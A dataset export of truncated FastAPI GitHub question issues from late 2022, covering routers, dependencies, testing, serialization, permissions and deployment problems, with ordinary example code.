tiangolo/fastapi,1468153447,SQLAlchemy + FastAPI Routers,"### Description

I am following the FastAPI integration guide with MySQL and it is working fine. The issue happens when I want to use the routers and want to divide the routes in multiple files. As of now, I have the route (which interacts with DB) in the main file but if I move this route to some other file say `routes.py` and import get_db function from the main file, it gives an error. 

Is there a way to use the DB function in all files just by importing?

``` 
# main.py

... imports....

def get_db:
    ......

@app.post(""/users/"", response_model=schemas.User)
def create_user(user: schemas.UserCreate, db: Session = Depends(get_db)):
    db_user = crud.get_user_by_email(db, email=user.email)
    if db_user:
        raise HTTPException(status_code=400, detail=""Email already registered"")
    return crud.create_user(db=db, user=user)
```

```
# routes.py
from .main import get_db

@app.post(""/users/"", response_model=schemas.User)
def create_user(user: schemas.UserCreate, db: Session = Depends(get_db)):
    db_user = crud.get_user_by_email(db, email=user.email)
    if db_user:
        raise HTTPException(status_code=400, detail=""Email already registered"")
    return crud.create_user(db=db, user=user)
```

Getting the following error:` ImportError: cannot import name 'get_db'`


### Operating System

macOS

### Operating System Details

_No response_

### FastAPI Version

Latest

### Python Version

3.10

### Additional Conte... [TRUNCATED]","question,question-migrate",2022-11-29T14:24:00Z,2023-02-27T21:29:10Z,5
tiangolo/fastapi,1468100208,"I'm confused,i wanna upload some info to server,about 2 images and some details info. error:""msg"": ""str type expected"",       ""type"": ""type_error.str""","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
...
class ResponseSchema(BaseModel):
    """"""Response Model""""""
    detail: str
    result: Optional[T] = None

class BannerInputSchema(BaseModel):
    """"""Banner Create Model""""""
    title: str
    sub_title: str | None = None
    path_url: str | None = None
    desc: str | None = None

    class Config:
        orm_mode = True

@app.put('/update_banner/{id}',
            response_model=ResponseSchema,
            response_model_exclude_none=True)
async def update_banner(
        banner_id: str = Form(...),
        banner_info: BannerInputSchema = Form(...),
        b_img: UploadFile = File(default=None, description='upload backgro... [TRUNCATED]","question,question-migrate",2022-11-29T13:50:47Z,2023-02-28T15:44:09Z,2
tiangolo/fastapi,1465789505,Middleware to fingerprint incoming TCP/IP requests,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI
from tcp_fingerprint import TCPFingerprintMiddleware

fingerprint_dict = {}

app = FastAPI()

app.add_middleware(TCPFingerprintMiddleware,log_dict=fingerprint_dict)
```


### Description

Hello, I would like to implement a TCP fingerprinting middleware where incoming requests to the endpoints can be stored in a dictionary variable or a database connection (ex. SQL, Redis). The information would be used for profiling the requests made to the endpoint. I have found another project that achieves similar goals to what I am looking for, but it utilizes `libpcap` on Linux and isn't very friendly for integrating with FastA... [TRUNCATED]","question,answered,reviewed,question-migrate",2022-11-28T04:19:47Z,2023-02-27T21:29:05Z,9
tiangolo/fastapi,1465661760,Wrap up the returned data by TypeVar,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from pydantic import BaseModel
from typing import TypeVar, Generic
from fastapi import Depends,FastAPI
from sqlalchemy.ext.declarative import declarative_base
import sqlalchemy as sa
Base = declarative_base()
from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker, Session, relationship


SQLALCHEMY_DATABASE_URL = ""sqlite:///./sql_app.db""

engine = create_engine(
    SQLALCHEMY_DATABASE_URL, connect_args={""check_same_thread"": False}
)
SessionLocal = sessionmaker(autocommit=False, autoflush=False, bind=engine)


def get_session():
    session = SessionLocal()
    try:
        yield session
    finally:
     ... [TRUNCATED]","question,question-migrate",2022-11-28T01:27:19Z,2023-02-27T21:29:03Z,1
tiangolo/fastapi,1465340909,Docs generating incorrectly for Post Request with Non-Pydantic Body,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI, Request, Depends, Body
import uvicorn
from fastapi.middleware.cors import CORSMiddleware
import time
import database

tags_metadata = [
    {
        ""name"": ""Recording"",
        ""description"": ""Utilities for session setup, reset, clocking, and synching multiple computers"",
    },
    {
        ""name"": ""Reporting"",
        ""description"": ""Graphing, Summarizing Data, and Submitting to Firebase"",

    },
]
app = FastAPI(openapi_tags=tags_metadata)
app.add_middleware(
    CORSMiddleware,
    allow_origins=[""*""],
    allow_credentials=True,
    allow_methods=[""*""],
    allow_headers=[""*""],
)

SESSION... [TRUNCATED]","question,question-migrate",2022-11-27T05:52:37Z,2023-02-28T15:44:06Z,4
tiangolo/fastapi,1465175348,How to set event loop while testing app using pytest-asyncio,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import pytest
import sqlalchemy as sa

from asyncio import current_task
from fastapi import APIRouter
from fastapi import Depends
from fastapi import FastAPI
from fastapi.testclient import TestClient
from sqlalchemy import select
from sqlalchemy.ext.asyncio import AsyncSession
from sqlalchemy.ext.asyncio import async_scoped_session
from sqlalchemy.ext.asyncio import create_async_engine
from sqlalchemy.ext.declarative import DeclarativeMeta
from sqlalchemy.orm import declarative_base
from sqlalchemy.orm import sessionmaker

DB_URL = ""SOME_DB_URL""
Base: DeclarativeMeta = declarative_base()
app = FastAPI()
test_router = APIRouter(pref... [TRUNCATED]","question,question-migrate",2022-11-26T14:53:24Z,2023-02-28T15:44:03Z,2
tiangolo/fastapi,1464969852,jsonable_encoder does not observe property's pydantic Config,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from datetime import datetime

from pydantic import BaseModel, Field
from fastapi.encoders import jsonable_encoder


class A(BaseModel):
    class Config:
        json_encoders = {datetime: lambda t: round(t.timestamp())}

    date: datetime = Field(default_factory=datetime.now)


class B(BaseModel):
    a: A = Field(default_factory=A)


a = A()
b = B()

# a.dict() and b.dict() both serialize A the same way
print(a.dict())
print(b.dict())

# jsonable_encoder does not serialize both the same way.
print(jsonable_encoder(a))
print(jsonable_encoder(b))
```


### Description

I expect `class A` to be serialized the same way by js... [TRUNCATED]","question,investigate,question-migrate",2022-11-25T23:04:03Z,2023-02-28T15:44:00Z,4
tiangolo/fastapi,1464081086,Mount third part ASGI (bentoml) as a sub-application inside fast api and serve,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import numpy as np
 import bentoml
 from bentoml.io import NumpyNdarray

 iris_clf_runner = bentoml.sklearn.get(""iris_clf:latest"").to_runner()

 svc = bentoml.Service(""iris_classifier"", runners=[iris_clf_runner])

 @svc.api(input=NumpyNdarray(), output=NumpyNdarray())
 def classify(input_series: np.ndarray) -> np.ndarray:
     result = iris_clf_runner.predict.run(input_series)
     return result
```


### Description

Trying to mount this app inside the FASTapi as a subapplication with `vnet.mount(""/api/v1/ops/"",sub_app.svc)`

1. I need to know whether mounting the ASGI app is possible.
2. And does Swagger UI work.

### Operating System... [TRUNCATED]","question,answered,question-migrate",2022-11-25T06:12:15Z,2023-02-27T21:29:00Z,3
tiangolo/fastapi,1463289787,async test client with startup hooks,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
class DataSource:
    data: asyncio.Queue
    [...]
    
    def async_generator(timeout = 20):
        while True:
            try:
                yield await asyncio.wait_for(self.data.get(), timeout)
            except asyncio.TimeoutError:
                break
```

```Python

@pytest.fixure
async def data_injection():
    data = [...]
    _function():
        await asyncio.sleep(5)
        await send_data_to_rabbitmq(data)
    task = loop.create_task(_function())
    try:
        yield data
    finally:
        task.cancel()

async def test_data_stream(client: Testclient, data_injection: data: Any):
... [TRUNCATED]","question,answered,question-migrate",2022-11-24T12:43:36Z,2023-02-27T21:28:57Z,5
tiangolo/fastapi,1463104321,about background task,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# deploy.py
from fastapi import APIRouter, BackgroundTasks

router = APIRouter()

loaded = {}

def load_model(task_id: str):
    loaded[task_id] = ""success""

@router.get(""/publish"")
async def publish(task_id: str, mt: str, background: BackgroundTasks):
    task = await tortoise.get(id=task_id)
    background.add_task(deploy, task.id)
    return response.success(msg=""发布任务下发成功"", data=task.id)

# publish.py
async def deploy(task_id:str):
    load_model(task_id)
```


### Description

I want to add data to Loaded after calling the task and get the data in the interface

But we can't get it

But the document says that if you need to ... [TRUNCATED]","question,question-migrate",2022-11-24T10:17:06Z,2023-02-27T21:28:53Z,6
tiangolo/fastapi,1461494947,How we can manage roles and permissions using fast-API dynamically?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
class RoleChecker:
    def __init__(self, allowed_roles: List):
        self.allowed_roles = allowed_roles #utils.get_roles(Role)

    def __call__(self, user: User = Depends(oauth2.require_user)):
        print(""user=======>"", user)
        if user['role'] not in self.allowed_roles:
            logger.debug(f""User with role {user['role']} not in {self.allowed_roles}"")
            raise HTTPException(status_code=403, detail=""You have not a permission to performe action."")
        


allow_create_resource = RoleChecker([""admin""])
@router.post('/assign_roles', dependencies=[Depends(allow_create_resource)])
def assign_roles(assign_role: sc... [TRUNCATED]","question,investigate,question-migrate",2022-11-23T10:39:48Z,2023-02-28T15:43:54Z,10
tiangolo/fastapi,1460667124,Pydantic BaseModel pytest Testing with FastAPI Form Input Type [Retrieving Response Output (Body) Problem],"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
test_endpoints.py (running pytest this code)

from starlette.testclient import TestClient
from app.main import app

from app.models.main import Admin, User


class TestEndpoints:
    def test_root(self):
        with TestClient(app) as client:
            response = client.get(""/"")
            assert response.status_code == 200
            assert response.json() == ""Welcome to the API""

    def test_set_user(self):
        with TestClient(app) as client:
            test_data = User(publicAddress=""0x777888999"", firstName=""John"")

            response = client.post(
                ""/set_user"",
                content=test_data
 ... [TRUNCATED]","question,question-migrate",2022-11-22T22:54:25Z,2023-02-28T15:43:51Z,3
tiangolo/fastapi,1460259772,FastAPI 0.87.0 (and in particular starlette 0.21.0) broke query string parsing in TestClient (starlette 0.22.0 fixes it!),"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI
```


### Description

We have a test that does something like this:
```python
now = utc_datetime()
url = client.app.url_path_for(""balances"")
start_date = now - timedelta(minutes=1)
start_date_param = urlencode({""start_date"": start_date.isoformat()})
end_date_param = urlencode({""end_date"": now.isoformat()})
response = client.get(url + f""?{start_date_param}&{end_date_param}"")
```
With FastAPI 0.86 everything works. Starting from 0.87 (which uses `starlette` 0.21.0) our endpoint errors with:
```python
{'error': {'code': 'validation_error', 'message': 'Validation Error', 'errors': [{'attribute': 'query -> start_dat... [TRUNCATED]","question,question-migrate",2022-11-22T17:13:02Z,2023-02-27T21:28:50Z,3
tiangolo/fastapi,1460120764,about docker-compose host name?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
1.docker-compose like this
version: ""3.9""
services:
  mysql:
    restart: always
    image: mysql:5.7

2.connect mysql
DB_HOST = 'mysql'
DB_URL = f""{DB_DRIVER}://{DB_USER}:{DB_PASSWORD}@{DB_HOST}:{DB_PORT}/{DB_NAME}?charset=utf8mb4""
engine = create_engine(DB_URL, echo=SQLMODEL_ECHO)
```


### Description

i use the service name as the host,but it can not work.
according to offical document. it shoud be work.

### Operating System

Linux, Windows

### Operating System Details

win11

### FastAPI Version

0.79

### Python Version

3.10.5

### Additional Context

_No response_","question,question-migrate",2022-11-22T15:47:29Z,2023-02-27T21:28:47Z,5
tiangolo/fastapi,1459232323,Return raw bytes from endpoint function and preprocess it before send,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastApi

class RawResponse(Response):
    media_type = ""binary/octet-stream""
     
    def render(self, content: bytes) -> bytes:
        self.body = bytes([b ^ 0x54 for b in content])

app = FastApi(default_response_class=RawResponse)

@app.get(""/"")
def endpoint_fn(_: Request):
    return b""\xf6j,\x90\xae\\\xf3\xd3\xaa""
```


### Description

For this code I get `'utf-8' codec can't decode byte` at routing.py:234 (`serialize_response` call). How can I override this? 
Only one hackish solution that I've found is to b64encode(bytes) and in `RawResponse` render b64decode(content) then xor it

### Operating System

Windo... [TRUNCATED]","question,question-migrate",2022-11-22T06:43:28Z,2023-02-28T15:43:46Z,10
tiangolo/fastapi,1456751476,Is there any way to auto reload the web page on reload in fastapi ?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI, Request
from fastapi.staticfiles import StaticFiles
from fastapi.templating import Jinja2Templates

app = FastAPI()
app.mount(""/static"", StaticFiles(directory=""./templates/static""), name=""static"")
templates = Jinja2Templates(directory=""./templates"")

@app.get(""/"")
def index(request : Request):
    return templates.TemplateResponse(""index.html"", {""request"": request})

if __name__ == ""__main__"":
    import uvicorn
    uvicorn.run(
        ""main:app"",
        host=""127.0.0.1"",
        port=8000,
        reload_includes=[""*.html"", ""*.css"", ""*.js""],
        reload_excludes=[""./node_modules""],
        reload... [TRUNCATED]","question,question-migrate",2022-11-20T03:25:51Z,2023-02-27T21:28:44Z,3
tiangolo/fastapi,1456096119,"Adding callable parameters to ""Depends"" & Adding a new ""validator"" parameter to ""Query""","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
def validate_date(date: str):
    try:
        return datetime.strptime(date, ""%Y-%m-%d"").date
    except ValueError:
        raise HTTPException(
            status_code=400,
            detail=""Incorrect date format, should be YYYY-MM-DD"",
        )   

@app.get(""/endpoint"")
async def handler(
    required_date: str = Depends(validate_date),
    optional_date: str | None = None
):
    return ""hello""
```


### Description

I wanted to add a validator for the parameters ""required_date"" and ""optional_date"" but I must create two functions to handle that because one of them is optional.

### Wanted Solution

I would like to see an option i... [TRUNCATED]","question,answered,reviewed,question-migrate",2022-11-19T01:43:30Z,2023-02-27T21:28:40Z,7
tiangolo/fastapi,1455531240,Swagger docs break sporadically with a 404,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [ ] I commit to help with one of those options 👆

### Example Code

```python
app = FastAPI(
        title=""Foobar Framework"",
        root_path=""/foobar"",
    )
```


### Description

When we deploy the application behind a reverse proxy such as an nginx Ingress Controller, and add a root path, within an AKS cluster, the worker is initially killed with the error `[1] [WARNING] Worker with pid 12 was terminated due to signal 9`. But the worker later does start, and the API is working. However, the new worker, no longer has `""servers"":[{""url"":""/foobar""}]` in the `openapi.json` and hence the docs no longer work and give a 404. The API itself, and the business logic just work absolutely fine. 

To reproduce the issue, we run... [TRUNCATED]","question,question-migrate",2022-11-18T17:39:18Z,2023-02-28T15:43:43Z,5
tiangolo/fastapi,1453675351,fastapi0.87.0 - ModuleNotFoundError: No module named 'httpx' while import TestClient from fastapi.testclient,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
pip insall fastapi

>>> print(fastapi.__version__)
0.87.0

>>> from fastapi.testclient import TestClient
Traceback (most recent call last):
  File ""<stdin>"", line 1, in <module>
  File ""C:\ProgramData\Anaconda3\lib\site-packages\fastapi\testclient.py"", line 1, in <module>
    from starlette.testclient import TestClient as TestClient  # noqa
  File ""C:\ProgramData\Anaconda3\lib\site-packages\starlette\testclient.py"", line 15, in <module>
    import httpx
ModuleNotFoundError: No module named 'httpx'
```


### Description

Getting error ModuleNotFoundError: No module named 'httpx' while import TestClient from fastapi.testclient.
It looks li... [TRUNCATED]","question,question-migrate",2022-11-17T16:57:07Z,2023-02-27T21:28:34Z,8
tiangolo/fastapi,1452406051,Use template in custom handler for 301 redirect,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI, Request, Response, Form, status
from fastapi.templating import Jinja2Templates

app = FastAPI()
templates = Jinja2Templates(directory='templates')

@app.get(""/redirect"")
async def redirectu(request: Request, url: str):
    headers = {'Location': url}
    return templates.TemplateResponse('redirect_body.html', {'request': request, 'url': url})
```


### Description

Similar to issue #3182, I want to use the Jinja2 template to render my custom template using TemplateResponse for _301 redirect_ response. 

I got the above code work fine. However, it is missing two critical parts as 301 redi... [TRUNCATED]","question,question-migrate",2022-11-16T23:01:51Z,2023-02-27T21:28:30Z,3
tiangolo/fastapi,1451233863,Why does Fastapi need more time when use CryptContext？,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
==================Fastapi==========================
from passlib.context import CryptContext
import time
from loguru import logger

pwd_context = CryptContext(schemes=[""bcrypt""], deprecated=""auto"")


def verify(plain_password, hashed_password):
    start = time.perf_counter_ns()
    verify_result = pwd_context.verify(plain_password, hashed_password)
    end = time.perf_counter_ns()
    logger.info(f""verify end at {(end - start) / (10 ** 9)}s"")
    return verify_result

@user_router.get(""/test"")
async def test():
    plain_password = '12345'
    hashed_password = ""$2b$12$9QqLfn..1PGFMLtoD1xvFOX8IGk/COLBHi8yKLFs.DTsiCyi9QmYq""
    res... [TRUNCATED]","question,question-migrate",2022-11-16T09:37:14Z,2023-02-27T21:28:28Z,3
tiangolo/fastapi,1450651217,Failed to load API definition due to local variable 'status_code' referenced before assignment in openapi/utils.py line 267,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
Instruction on how to fix the problem is in additional context but I don't know what is causing it so I cannot create a short program that shows the problem and the code I am working on is proprietary so I cannot post it here.
```


### Description

Browse to <url>/docs

### Operating System

macOS

### Operating System Details

Also appear in a linux docker environment

### FastAPI Version

0.76.0

### Python Version

3.8.13

### Additional Context

From openapi/utils.py line 261 

 261               status_code_param = response_signature.parameters.get(""status_code"")
 262               if status_code_p... [TRUNCATED]","question,answered,question-migrate",2022-11-16T01:21:20Z,2023-02-27T21:28:24Z,6
tiangolo/fastapi,1450328854,Any extra step required to enable download on Chrome,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import pandas as pd
@app.get('/'):
def func():
   content = pd.DataFrame({'a': [1]})
   encoding = 'utf-8'
   def create_file(contents, filename, _encoding):
      df = pd.DataFrame(contents)
